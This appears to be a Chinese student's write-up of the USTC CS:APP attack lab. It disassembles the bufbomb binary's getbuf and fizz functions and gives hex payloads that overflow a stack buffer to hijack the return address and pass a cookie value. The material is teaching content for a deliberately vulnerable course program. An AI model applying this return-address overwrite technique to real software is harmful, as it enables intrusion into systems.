ustc-csapp-attacklab
这部分仍然属于第三章的内容,承接上一个实验。
ustc版本相对原版本有些变化,但是主题没有变,都是作为黑客去攻击一个软件。
这周要做的事情太多(工作难找😭)只完成必做的前两个
bufbomb是我们需要执行和攻击的代码
makecookie是将输入的字符串编程8位16进制数,在level 1中会使用到
sendstring 是转换我们需要的编码
比如我们需要16进制00000000,当我们输入“00000000”时,会以ascii码表示,其实际底层并不是00000000
sendstring可以完成将ascii编码的字符编程其对应的16进制编码
level 0
我们需要让getbuf在返回的时候跳转到smoke,跳转的方式就是利用溢出

我们控制数组的输入,将其覆盖掉返回地址即可,看汇编编码,smoke地址为08048e20。
08048fe0 <getbuf>::
8048fe0: 55 push %ebp
8048fe1: 89 e5 mov %esp,%ebp
8048fe3: 83 ec 18 sub $0x18,%esp
8048fe6: 8d 45 f4 lea -0xc(%ebp),%eax
8048fe9: 89 04 24 mov %eax,(%esp)
8048fec: e8 6f fe ff ff call 8048e60 <Gets>
8048ff1: b8 01 00 00 00 mov $0x1,%eax
8048ff6: c9 leave
8048ff7: c3 ret
8048ff8: 90 nop
8048ff9: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
从这里我们能看到,getbuf申请了24个字节的空间,从ebp-12处开始填充数组,这样我们只需要填充12个字节再追加smoke地址即可
,注意小端存储
00 00 00 00 00 00 00 00 00 00 00 00 20 8e 04 08
但结果是错的

看一下内存,地址写到了ebp的位置上

应该在ebp的上一个位置上
所以应该为
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 8e 04 08
level 1
有了上面基础,这次我们要跳转到fizz就容易多了,直接替换地址就可以了
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 8d 04 08
这里只能算是完成一半,我们要获得如下输出

还需要实现val==cookie,cookie就是从参数-t 学号 中得到的。所以我们还需要出入参数val。
按照课本上讲参数少于7的时候用寄存器传,一个的话使用esi,但是此处的编译版本中所有的参数都是通过栈来传递
我们指甲看一下执行到fizz时的内存内容
08048dc0 <fizz>:
8048dc0: 55 push %ebp
8048dc1: 89 e5 mov %esp,%ebp
8048dc3: 53 push %ebx
8048dc4: 83 ec 14 sub $0x14,%esp
8048dc7: 8b 5d 08 mov 0x8(%ebp),%ebx
8048dca: c7 04 24 01 00 00 00 movl $0x1,(%esp)
8048dd1: e8 ca fb ff ff call 80489a0 <entry_check>
8048dd6: 3b 1d cc a1 04 08 cmp 0x804a1cc,%ebx
8048ddc: 74 22 je 8048e00 <fizz+0x40>
8048dde: 89 5c 24 04 mov %ebx,0x4(%esp)
8048de2: c7 04 24 98 98 04 08 movl $0x8049898,(%esp)
8048de9: e8 76 f9 ff ff call 8048764 <printf@plt>
8048dee: c7 04 24 00 00 00 00 movl $0x0,(%esp)
8048df5: e8 aa f9 ff ff call 80487a4 <exit@plt>
8048dfa: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
8048e00: 89 5c 24 04 mov %ebx,0x4(%esp)
8048e04: c7 04 24 29 9a 04 08 movl $0x8049a29,(%esp)
8048e0b: e8 54 f9 ff ff call 8048764 <printf@plt>
8048e10: c7 04 24 01 00 00 00 movl $0x1,(%esp)
8048e17: e8 c4 fc ff ff call 8048ae0 <validate>
8048e1c: eb d0 jmp 8048dee <fizz+0x2e>
8048e1e: 89 f6 mov %esi,%esi
我们cookie放在了0x804a1cc,val在$ebx中

我们从getbuf跳转此处,那么fizz会认为参数应该由其提供,我们在重新看一下getbuf的空间

我们能看到这个参数位置在更高的地址上,我们只需要修改一个就可以,改成和自己的cookie一样就可以
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 8d 04 08 00 00 00 00 e6 92 e3 3b
